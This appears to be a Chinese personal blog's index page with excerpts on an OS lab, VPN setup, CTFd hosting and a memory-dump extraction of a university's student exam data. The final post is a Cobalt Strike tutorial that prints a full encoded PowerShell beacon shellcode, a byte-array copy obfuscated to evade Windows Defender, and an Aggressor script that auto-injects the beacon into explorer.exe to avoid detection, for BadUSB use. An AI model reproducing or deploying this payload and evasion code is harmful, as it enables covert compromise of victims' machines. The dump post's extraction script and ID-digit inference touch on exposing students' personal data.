【YSOS】实验零:环境搭建与实验准备

总所周知Web手除了Web啥都学

最近开了个新坑,在学Rust和OS,就在想为什么不结合起来rCore!

实验使用的文档为中山大学YatSenOS操作系统时间课程v2

引用实验文档中的实验说明

本文档提供了一套基于 Rust、面向 UEFI 和 x86_64 的操作系统课程实验方案。

本实验设计期望基于低汇编、避免重复造轮子的宗旨,利用 Rust 语言优秀的包管理和底层支持,借助现有的优秀工程化底层封装,为学生提供一个低负担、现代、面向高级语言的操作系统实验指南。

废话少说,直接开始干活

继续阅读【YSOS】实验零:环境搭建与实验准备

Goodbye 2023,Hello 2024.

为了不让自己在离开的时候后悔,不留遗憾的退场多好呢

从19年起,我一直相信着这句话,直到如今,

我所做的事情,仅仅只是不让自己后悔罢了。

这一年里,我从一个烂摊子去了另一个烂摊子,熟悉的流程,熟悉的那批人,

再一步一步将这个小团队建设起来,招募了一批新成员,送走了一批老队员。

也参加了不少比赛,取得了一些名次,还是感觉技不如人,仍需努力。

同时幸运的得到了份实习,去了不少地方,接触到了几个有趣的项目。

……

一年的时光就这样流逝了。

值得吗,不值得。

我燃尽了一切,舍弃了不少东西,却只换得满身伤痕。

但倘若给我机会再来一次,我还会毅然决然做出选择。

我做到了自己该做的,纵使遭众人唾弃,我无怨无悔。

继续阅读Goodbye 2023,Hello 2024.

【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

首先我们要搞清楚一个问题,Wireguard和OpenVPN的区别在哪里

  1. Wireguard基于UDP协议,继承于内核中,由于加密协议简单(但安全),开销较小,性能较高
  2. OpenVPN基于TCP或UDP协议,由SSL/TLS实现身份加密,没有Wireguard效率高,但是支持多种管理方式

在实际使用上,TCP和UDP也有较大区别

  1. TCP:可以提供更可靠的连接,因为它具有确认和重传机制,能够处理丢包和错误。适用于对数据完整性和可靠性要求较高的场景。
  • UDP:UDP可以提供更快的速度和较低的延迟,适用于实时应用程序和视频流等对延迟敏感的情况。UDP模式还可以避免TCP拥塞控制的限制,适用于高带宽环境

  • UDP在实际使用上可能会被QOS限速,但是在长距离、高延迟的VPN环境中还是可以发挥不错的效果,不容易出现TCP经常断连的情况。

    实现方案

    在某个实际应用场景中,我需要将在B地不同地区访问位于A地的局域网,A地与B地物理相隔较远并且网络条件较差,但是对业务实时性没有太多要求,并且A地存在NAT

    方案一

    全部走OpenVPN,对A-B两地互联的机器使用UDP协议,确保可以通讯
    B地对B地其他地区使用TCP协议,确保连接稳定性
    方案一可以参考
    Windows上使用OpenVPN实现于异地访问公司内网资源(Tunnel方式、公网服务器frp转发)

    方案二

    在A-B两地之间使用Wireguard
    在B地服务器是用OpenVPN供B地其他地区使用
    网络结构如下

    A地内网<--->A地服务器<- Wireguard-UDP ->B地服务器<- OpenVPN TCP/UCP ->B地其他地区用户
    

    两方案相比,方案一更加简单,但是没有方案二稳定,并且AB两地如果存在高带宽情况用OpenVPN可能会消耗大量资源,在技术难度上方案二要设置转发,需要对两个VPN进行分别配置
    最终选择方案二进行

    继续阅读【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

    Flask调试模式PIN值计算和利用

    这是一段简单的Flask代码

    from flask import Flask
    app = Flask(__name__)
    @app.route("/")
    def index():
        return "Hello World"
    app.run(debug=True)
    

    我们开启了调试模式,与此同时控制台输出

    > python test.py
     * Serving Flask app 'test'
     * Debug mode: on
    WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
     * Running on http://127.0.0.1:5000
    Press CTRL+C to quit
     * Restarting with stat
     * Debugger is active!
     * Debugger PIN: XXX-XXX-XXX
    

    继续阅读Flask调试模式PIN值计算和利用

    【日记】写在最后

    不知不觉任职已经快一年了。电协也已经走过了属于它的第二十七个年头。
    2022年5月27日,我用着同样的PPT,与21级的各位,将生活和电协联系在了一起。
    不知道大家是否还记得这个教室,在这里,我遇见了你们,我们的故事从这里开始,兜兜转转走过繁忙的四季,留下了弥足珍贵的回忆,最后又回到这里,这可能就是所谓的缘分吧。
    此刻,是华章,亦是序章,我们的故事并不会就此结束,只是长江后浪推前浪,我相信你们有能力做的更好

    继续阅读【日记】写在最后

    【CTFd】靶场安装与配置(同时支持Whale+Owl+AWD的Docker一键配置版v2)

    V2更新了一些小东西
    !!!NeedStar!!!Github-CTFd-docker
    该版本的CTFd全部运行在docker中,并且通过映射unix在docker里面控制宿主机的docker,以管理docker动态容器。使用该项目可以在5-10min之内构建出支持动态容器的靶场。
    旧的文章-【CTFd】靶场安装与配置(Docker一键配置版)
    前面一段时间,想基于CTFd进行二开一下。有不少前辈给CTFd写过插件,例如赵总的Whale,H1ve的Owl,和支持AWD的glowworm。
    他们写的插件各有好处,Whale支持swarm的部署,Owl支持docker-compose(暂时不支持swarm,后面可以改,不过暂时没空),glowworm是目前唯一一个AWD插件。其中Whale和Owl都以来与Frp进行流量转发,通过不断重载frpc的配置实现,但是他们两个插件并不是增量刷新,而是以直接覆盖的形式进行。于是我整合了两个插件的内容和,让他们共用一个frps模块(现在才想到为什么不能用两个呢,但是这就要两个域名了不是吗)。
    然而事情不是一帆风顺的,在修改了插件的目录结构后,整个插件都不能正常初始化了,还得对他们进行依赖的修改。然后对旧版的owl插件进行一定的修改,使用了新版的docker-compose工具以支持swarm的使用。
    TODO: owl插件更新swarm支持(已更新)
    另外作为一个安全平台,不更新到最新版本的CTFd内核总是有点不太合适,于是更新到了CTFd 3.5.2版本,也修改了不少安装流程,优化了安装体验,可以在docker-compose里面自定义域名等,也会自动生成密钥不容易被攻击。

    同时也测试了很多不同系统,也用该系统在本校新生赛中构建了一个全新的靶场,体验很棒。
    小记而已,暂时就这样了。

    内存DUMP数据的一些尝试

    近期某大学在公告版中发送了查询学生考场的EXE文件,一开始我以为是钓鱼的,后来经多方确认属实。

    经过断网确认后可知,数据打包在应用内部。
    首先尝试了binwalk/foremost无过,只分离出一些bmp文件
    拖进IDA,找到动态链接库但是显示unknowlib,静态数据中也没有相关信息。
    这里可以采用的方式有两个
    1. IDA动态调试
    2. DUMP内存

    这里使用的是第二种方法,DUMP内存有多种方法,可以采用VS的DEBUG工具进行内存DUMP,但是我们借助任务管理器简单创建完整的转储文件。

    Task Manager->Processes->Right Click->Create dump file
    


    通过WinHex查看转储文件,存在相应的明文数据
    数据头为
    “`… … 49 00 43 00 4F 00 4E 00“`


    数据尾为
    “`06 00 00 00“`


    写脚本提取后分隔导出为csv文件即可
    下面为Payload

    with open('memory.dmp', 'rb') as f:
        data = f.read()
    head=data.find(b'M\x00A\x00I\x00N\x00I\x00C\x00O\x00N\x00')
    data=data[head+16:]
    tail=data.find(b'\x06\x00\x00\x00')
    data=data[:tail]
    data=data.split(b'\x0d\x0a')
    with open('memory.csv', 'w') as f:
        for item in data:
            item=item.decode('gbk')
            f.write(item.replace('@',',')+'\n')
    

    原本为了保护学生隐私的设计反而最终成为了泄露隐私的地方。
    这里的信息还包括身份证后三位,也就是说我们可以通过户籍地+生日反推出最后一位。
    具体有如下解决方法:
    不存储明文,只存储加盐后的学号+姓名+身份证后三位的哈希/md5信息再查询,最后的是为什么不能在线查呢?很急。

    PS1:后缀改成txt可以直接读出数据
    PS2:用Notepad++以GB2312读写可以直接读出所有数据

    【CS】Cobalt Strick的Malleable2 C2配置以及PowerShell免杀

    Malleable2 C2配置

    首先,我从一开始就踩了个坑,CS不应该是个开箱即用的东西吗,仔细一想,不对,那样的话流量特征不就明明白白了吗,这里需要用到Malleable C2 Profile。

    Malleable Command and Control可拓展的命令和控制
    M主要用来控制Cobalt Strike Beacon攻击载荷中的网络参数,也就是说我们可以通过这个伪装/混淆我们的流量。在一些复杂场景中可以更好的规避防火墙。
    这里有一个Github项目Malleable-C2里面有现成的配置文件,你也可以自己改一个,我选择了之前学长发我的一份伪装成某度的配置文件进行使用。
    如果不用这个混淆流量的话,CS造的PowerShell的马即使能免杀,在后续下发指令的时候也会被Windows Defender给杀掉。
    在Listener里面我们也要使用https这种加密的流量,更好绕过防火墙

    PowerShell免杀

    首先,我们对生成的Payload进行一定研究,发现FromBase64String这个函数应该是被拉黑了,只要处理到这个就报毒。所以我们可以吧Base64转换为字节码的形式进行绕过。
    示例如下

    #Base64
    [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbKsCMjI3lrquJim5giIyNuEupicmJySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOncXFimch2DRjc9muq5Wug4HNJKXxrqtKZPCMjI0kjS6MQIyNqqsNimicjIyNimVZlvaXc9muq0muq+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4iIyNr3Owsp68iIyPIkMrHIiMjy6Hc3NwMWmZmeSMZiB2igppanzPzKbfJJRlTyoktE2nscMHTAIS+bHHl5m/j94zr470Z7uh4ScS0kioVJEmwllHt5njNKhTkeLayeow+4o2TcENKI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxITDRMYA3RKTUdMVFADbXcDFQ0RGAN0bHQVFxgDd1FKR0ZNVwwVDRMYA3dMVkBLGANuYm9gaXAKLikjAikoLPonSzhbqQDoC5KwV9PMupbmG49FOlnPw2VqyA74Y46b6zCUIZgHz5/a7bH42YCNxRUm5b/XUiSBe1Ch/9Oq9MQqRPZkwCCT88HLQU32K+4oDoRh5ZrUEut7YQFkTuF/kadzF3Wjao01O3MA9AFfJWl+uN5PDAJnRNLW0cPG8yUr8HG7zmK1bVvluiN9CFEKPyTROTyywfn5CPQ0iv1mc0HBNAUmyOGV+z3P4tv3eO7RhmzDlnzzlGtkFgim7UyQ7gqeEQWheiNindOWgXXc9msS6pkjI2MjYpsjMyMjYppjIyMjYpl7h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZroOcDpuNXlUWoJGsi4KbjVvR7e3trJiMjIyNz4Mtc3tzcEhoRDRIVGw0REBoNERcaIxn9S5I=')
    #字节码混淆后
    [Byte[]]$PRZNAMJgM = [Byte[]](223,107,160,199,211,203,235,35,35,35,98,114,98,115,113,114,117,107,18,241,70,107,168,113,67,107,168,113,59,107,168,113,3,107,168,81,115,107,44,148,105,105,110,18,234,107,18,227,143,31,66,95,33,15,3,98,226,234,46,98,34,226,193,206,113,98,114,107,168,113,3)
    [Byte[]]$qXHbRRolRZZT = [Byte[]](168,97,31,107,34,243,69,162,91,59,40,33,86,81,168,163,171,35,35,35,107,166,227,87,68,107,34,243,115,168,107,59,103,168,99,3,106,34,243,192,117,107,220,234,98,168,23,171,107,34,245,110,18,234,107,18,227,143,98,226,234,46,98,34,226,27,195,86,210,111,32)
    [Byte[]]$ckKZjMGmMr = [Byte[]](111,7,43,102,26,242,86,251,123,103,168,99,7,106,34,243,69,98,168,47,107,103,168,99,63,106,34,243,98,168,39,171,107,34,243,98,123,98,123,125,122,121,98,123,98,122,98,121,107,160,207,3,98,113,220,195,123,98,122,121,107,168,49,202,108,220,220,220,126,73,35)
    [Byte[]]$vvTYnbPAP = [Byte[]](106,157,84,74,77,74,77,70,87,35,98,117,106,170,197,111,170,210,98,153,111,84,5,36,220,246,107,18,234,107,18,241,110,18,227,110,18,234,98,115,98,115,98,153,25,117,90,132,220,246,202,176,35,35,35,121,107,170,226,98,155,152,34,35,35,110,18,234,98,114,98)
    [Byte[]]$oDOZGtzgSPfbKla = [Byte[]](114,73,32,98,114,98,153,116,170,188,229,220,246,200,90,120,107,170,226,107,18,241,106,170,251,110,18,234,113,75,35,17,227,167,113,113,98,153,200,118,13,24,220,246,107,170,229,107,160,224,115,73,41,124,107,170,210,153,60,35,35,35,73,35,75,163,16,35,35,106,170)
    [Byte[]]$gufwnOAtfMhSa = [Byte[]](195,98,154,39,35,35,35,98,153,86,101,189,165,220,246,107,170,210,107,170,249,106,228,227,220,220,220,220,110,18,234,113,113,98,153,14,37,59,88,220,246,166,227,44,166,190,34,35,35,107,220,236,44,167,175,34,35,35,200,144,202,199,34,35,35,203,161,220,220,220,12)
    [Byte[]]$VijLlpTL = [Byte[]](90,102,102,121,35,25,136,29,162,130,154,90,159,51,243,41,183,201,37,25,83,202,137,45,19,105,236,112,193,211,0,132,190,108,113,229,230,111,227,247,140,235,227,189,25,238,232,120,73,196,180,146,42,21,36,73,176,150,81,237,230,120,205,42,20,228,120,182,178,122,140)
    [Byte[]]$qmNNXvweeMJMH = [Byte[]](62,226,141,147,112,67,74,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,18,19,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,17,24)
    [Byte[]]$uJyFfILlJHJfVoEZhHkrFaMHrh = [Byte[]](3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,21,13,19,24,3,119,76,86,64,75,24,3,110,98,111,96,105,112,10,46,41,35,2,41,40,44,250,39,75,56,91,169,0,232,11,146,176,87,211,204,186,150,230,27,143,69,58,89,207,195,101,106,200,14,248)
    [Byte[]]$CyVhsFXsPf = [Byte[]](99,142,155,235,48,148,33,152,7,207,159,218,237,177,248,217,128,141,197,21,38,229,191,215,82,36,129,123,80,161,255,211,170,244,196,42,68,246,100,192,32,147,243,193,203,65,77,246,43,238,40,14,132,97,229,154,212,18,235,123,97,1,100,78,225,127,145,167,115,23,117)
    [Byte[]]$glxAhgUznZWUI = [Byte[]](163,106,141,53,59,115,0,244,1,95,37,105,126,184,222,79,12,2,103,68,210,214,209,195,198,243,37,43,240,113,187,206,98,181,109,91,229,186,35,125,8,81,10,63,36,209,57,60,178,193,249,249,8,244,52,138,253,102,115,65,193,52,5,38,200,225,149,251,61,207,226)
    [Byte[]]$HTAAzLNjfk = [Byte[]](219,247,120,238,209,134,108,195,150,124,243,148,107,100,22,8,166,237,76,144,238,10,158,17,5,161,122,35,98,157,211,150,129,117,220,246,107,18,234,153,35,35,99,35,98,155,35,51,35,35,98,154,99,35,35,35,98,153,123,135,112,198,220,246,107,176,112,112,107,170,196)
    [Byte[]]$HeDjjuDz = [Byte[]](107,170,210,107,170,249,98,155,35,3,35,35,106,170,218,98,153,49,181,170,193,220,246,107,160,231,3,166,227,87,149,69,168,36,107,34,224,166,227,86,244,123,123,123,107,38,35,35,35,35,115,224,203,92,222,220,220,18,26,17,13,18,21,27,13,17,16,26,13,17,23)
    [Byte[]]$XOdUFuGpKi = [Byte[]](26,35,25,253,75,146)
    [Byte[]]$jbMpyHdkOCXCCucode = $PRZNAMJgM + $qXHbRRolRZZT + $ckKZjMGmMr + $vvTYnbPAP + $oDOZGtzgSPfbKla + $gufwnOAtfMhSa + $VijLlpTL + $qmNNXvweeMJMH + $uJyFfILlJHJfVoEZhHkrFaMHrh + $CyVhsFXsPf + $glxAhgUznZWUI + $HTAAzLNjfk + $HeDjjuDz + $XOdUFuGpKi
    

    这里有Github的自动化脚本MyBypassAV_ps1.py,不仅可以转换字节码,也可以用随机字符串混淆函数和变量。
    混淆了之后就可以基本免杀了,为什么说是基本呢,因为还是有概率在和C2通讯的时候被杀毒Kill掉(可能流量特征还没清干净吧),所以呢我们要尽早转移进程(也怕被看到一个黑框框在这被关掉了)
    所以我在C2配置中将session的sleep时间改成了200ms
    在通讯的第一次就设置插件自动转移进程,只要在Client中加载AutoSpawn.cna这个文件即可
    他可以在第一次通讯200ms之内将进程迁移至explorer.exe并且将新旧session的sleep时间改成5s避免被发现。

    #AutoSpawn.cna
    on beacon_initial
    {
        sub callback
        {
            $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
            $listener = "https";
            if ($2 ismatch $regex)
            {
                $pid = matched()[1];
                $inject_pid = $pid;
                if (-is64 $1)
                {
                    $arch = "x64";
                }
                else
                {
                    $arch = "x86";
                }
                binject($1, $pid, $listener, $arch);
                bsleep($1, 5, 37);
            }
        }
        if($inject_pid != beacon_info($1,"pid"))
        {
            bps($1, &callback);
        }
        else{
            bsleep($1, 5, 37);
        }
    }
    

    效果如图

    即实现免杀+自动迁移功能了,badusb终于可以用了。